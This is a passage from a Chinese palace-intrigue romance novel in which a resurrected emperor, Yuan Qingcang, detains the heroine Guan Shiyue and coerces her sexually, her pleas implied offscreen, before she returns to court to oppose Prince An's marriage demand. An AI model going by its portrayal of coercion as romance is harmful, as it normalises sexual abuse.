好似他们真的是她血脉相连的亲人一般。 ========= 再次见到元擎苍的时候，关失越整个人都石化了。 这可真是……冤家路窄。 “怎么？见到我不开心？”元擎苍坐在桌案旁，手里握着一卷书，似笑非笑地看了过来。 他身着一件雪白色的寝衣，露出胸口一大片肌肤，头发应当是才洗过了，微微有些湿。 他朝着关失越挑了挑眉：“过来。” 关失越哪里敢过去？ 她杵在原地，神色戒备而紧张：“你……为何……” “你是想问我为何没死，对吧？”元擎苍笑了笑，“好好想想。” 关失越想不出来。 毕竟，当时刺杀的事是交给楚翊尘的，楚翊尘的武功和经验，断不会有失手的情况。 且，当时和楚翊尘一起参加刺杀的人都断定元擎苍没气了。 一个人绝不可能死而复生。 那唯一的可能就是…… “你那一日没有出宫？”关失越道。 元擎苍将手里的书卷放下，闲适地伸了个懒腰：“不，我出宫了。” 关失越：“可是你……” 元擎苍朝关失越伸出了手：“过来，我便告诉你。” 关失越还是没有动：“那个人是替身？” 只剩下这个可能了。 当时她并没有近距离确认他的身份，那时，他们隔了一座桥。 所以，他们辛辛苦苦做了那么多，结果杀了个假的？！ 只是，她不明白，既然元擎苍没有死，那为何全天下的人都说他死了？ “既然你还活着，为什么要对外宣称……” “我若是不这样，大夏帝，安王，陆之斐，陆之涯等人会放过你吗？”元擎苍见她迟迟不动，只得自己站起，朝她走了过来，“我若是不‘死’，你想要的赏赐，你想要的前途，你想要的名声，从哪里来？” 关失越：“……” 心狠手辣如她，脸皮厚黑如她，此刻竟说不出半个字来！ 元擎苍叹息了一声，张开双臂，牢牢地抱住了她。 他手臂结实有力，用力地抱着她，勒得她有些疼。 他下巴搁在她颈窝，唇瓣摩挲着她的耳侧肌肤：“你害惨了我，你说，该怎么弥补我？嗯？” 关失越：“你……什么时候杀我？” 话音一落，她的耳朵便被男人咬了一口。 “杀了你？呵呵，那岂不是太便宜你了？”元擎苍突然弯下腰，将关失越打横抱了起来，朝着屏风后面的床榻走去，“得留着你，慢慢折磨，或许方能消我心头之恨……” 窗外，树叶被狂风吹得沙沙作响。 树枝摇曳声中，传来一阵阵断断续续的女子求饶声： “我跟你无冤无仇的，我没想要杀你……” “我也是被逼无奈的，真的！” “陛下的命令，小女子不敢不从啊……” “我就是个小民，是棋子，是工具……” “我听话，你能不能放过我……” “郎君，饶命……” ========= 一夜无眠。 关失越睡到日上三竿才醒。 如同在马背上颠簸了三天三夜一般，关失越全身酸痛，感觉骨头都要散架了。 肚子也饿得厉害。 桌案上放着一碗热气腾腾的稀饭，看起来就让人很有食欲。 她爬起身，胡乱穿好了衣服，起床吃饭。 吃完饭，关失越出了屋子，在庄子里随意溜达。 走着走着，她看到了几张熟悉的面孔。 关老太太，关父，关母。 昨夜元擎苍说，是他救下了关家一家人，也不知真假。 关失越忙走了过去。 关家人看到关失越，一时没有认出来。 关失越想着不认也好，对她，对他们，都安全。 﨔 第177章 强娶 正准备离开，然而，这个时候，关母认出了她。 “二丫！！！” 关失越：罢了。 与上一次相见隔了两年了，关家一家子拉着关失越，有说不完的话。 等他们说得差不多了，关失越问道：“你们怎么到了这里的？” 关老太太：“是那个姓元的小郎君救的我们。 我们原本住在挨着东越那边的，可一天夜里，我们的房子被人烧了。 我们一家子险些都死了。 幸好那个元小郎君的人赶到，救下了我们。 要不然，我们怕是一辈子也见不到你了。 二丫，你是不是在给那个元小郎君做事？” 关失越：“……” “不是的祖母，是我在为二丫做事。”不知何时，元擎苍走了过来，站在关失越身边，道，“祖母，爹，娘，你们许是不知晓，二丫现在可厉害了！” 他在胡说八道什么？！！ 谁是他祖母？ 谁是他爹娘？！！ 关失越狠狠地瞪了元擎苍一眼：你好得很！！！ 元擎苍无辜地眨了眨眼：昨夜不答应得好好的，要给我一个名分吗？怎么，穿上裤子就不认账了？ 关老太太瞧着这两人的互动，眉眼里都是笑。 她再次打量了一番元擎苍，呃，这小郎君生得腰是腰腿是腿的，高高大大的，人也生得俊，比那向秀才好看，就有一点不好，这年纪似乎比二丫大了不少。 不过，若是他对二丫好的话，年纪方面倒不是很要紧…… ========= “你到底想做什么？”将元擎苍拉回屋子，关失越关好门窗，道。 元擎苍高大的身躯将关失越压在门板上，手指挑起她鬓边的头发绕啊绕：“你知不知道，陆之斐和安王的人一直在寻找你家人？若不是我早到一步，你现在……” 关失越：“这事多谢你了。只是，你也不用在他们面前说谎啊……” “我什么时候说谎了？”元擎苍额头矮了下来，抵在了关失越白皙光洁的额头上，“难道我不是在为你做事？ 你想要钱，我给你。 你想要前途，我也送给你。 你想要当郡主，我便让我自己‘死’。 我为你做的这些，你看得上吗？” 关失越立马就没了脾气：“那你想要怎么样？” 元擎苍：“你知道的。” 关失越：“……” 元擎苍：“别回去了。安王不会放过你。而且，大夏帝是不会为你主持公道的。你信不信？” 关失越：“……” 元擎苍：“帝王的面子，容不得任何人违逆。 安王再不堪，那也是他的亲生儿子，事关他的颜面！ 你将事情闹得满城风雨，让大夏帝跟着没面子，你惨了。 好一点的结局是，你嫁给安王。 坏一点的……你自己猜。” 关失越只觉身上冷了起来：“你是说，那皇帝会让人杀了我？” 元擎苍：“十有八九会。你也不想想，他是谁！整个大夏都是他的，他要杀你，就跟碾死一只蚂蚁一样简单。” 说到这里，元擎苍停顿了半晌，指尖在关失越脸上摩挲着。 “你当所有的皇帝都跟我一样吗？ 你来杀我，我配合你。 你要什么，我就捧到你手心。 你背刺我，我还宽宏大度原谅你。” 关失越：“那你为何要如此待我？总不可能是心悦我吧？” 元擎苍摩挲关失越脸颊的手指顿住了。 片刻，他掐住她肉嘟嘟的脸蛋，揪了揪，道：“没良心的混账！你给我滚！” 等你吃了亏了，上了当了，便知晓到底谁才是好人，谁是坏人了！！！ 关失越求之不得：“那……我走了。” 元擎苍：“……” 关失越从他腋下钻出来，回头看他：“那天晚上杀进我府里的人，可不止安王的人，还有你暗阁的！！我看到喻恒了。所以，你也是想我死的，不是吗？” 元擎苍目光变得凌厉起来，他看着她，倏地出手，牢牢地箍住了关失越纤细的腰肢，将她狠狠按向自己。 “你说对了，我想你死，日日夜夜，时时刻刻都想要弄死你……” 说着，他带着薄茧的大手猛地掐住了她的腿…… “你那么想回去，我偏偏不如你的愿！！！” “你府里还有人等着回去‘抚慰’吧？” “你个没良心的小混账！！” “我今日若是不……你，我就不是男人……” ========== “郡主，你可算是回来了！！！” 关失越回到郡主府的时候，迎面撞上了莹秀。 莹秀为了找她，都跑外面十来趟了，此时见着关失越，莹秀仿佛肩上的担子终于卸下来一般，激动得都快哭了。 “郡主你不知晓，今日那安王又来了！！”莹秀凑近了关失越耳边，小声道，“安王殿下送来了不少东西，说是要迎娶你做他的正妃！” 关失越：还真被元擎苍说中了！！！ 怎么会这样？ 大夏帝会答应吗？ 他当初可是同意不干预她的婚事的！！ 想到这里，关失越绕过了花厅，径直走向了自己卧室，沐浴、换衣、梳妆。 事情很多，但她动作很快，不多时就换上了正装，绕过花厅，往皇宫而去。 她要去求见大夏帝。 然而这一次，她在外面等了许久，都没有等到大夏帝的通传。 眼瞧着天色越来越晚，关失越的耐心也耗到了尽头。 她再次看了一眼巍峨的皇宫，再次上前对守卫道：“麻烦大人再帮我通传一下。” 守卫上上下下打量了她一眼，道：“我已然传过话了，圣上若是要见你，早就召见了。这么久还不见，肯定是不想见你！我若是你，就会离开。免得白等。” 关失越冲守卫拱了拱手，笑道：“大人说得是。” 转身离开了。 她没有回府，坐马车去了楚清漪府上。 楚清漪倒是立马见了她，只不过，她还没说明来意，楚清漪便道：“你太冒失了！！你是不是想用那件事将安王拉下台？” 关失越目光忽然变得锐利，如同一把雪亮的利刃，直直地刺向楚清漪： “为了他大夏江山，我孤身潜入盛都，冒着九死一生、有去无回的风险去刺杀轩辕帝，而他安王呢？ 我在战场上厮杀，他却躲在身后，暗地里对我举起屠刀，要屠戮我满门？！！！ 﨔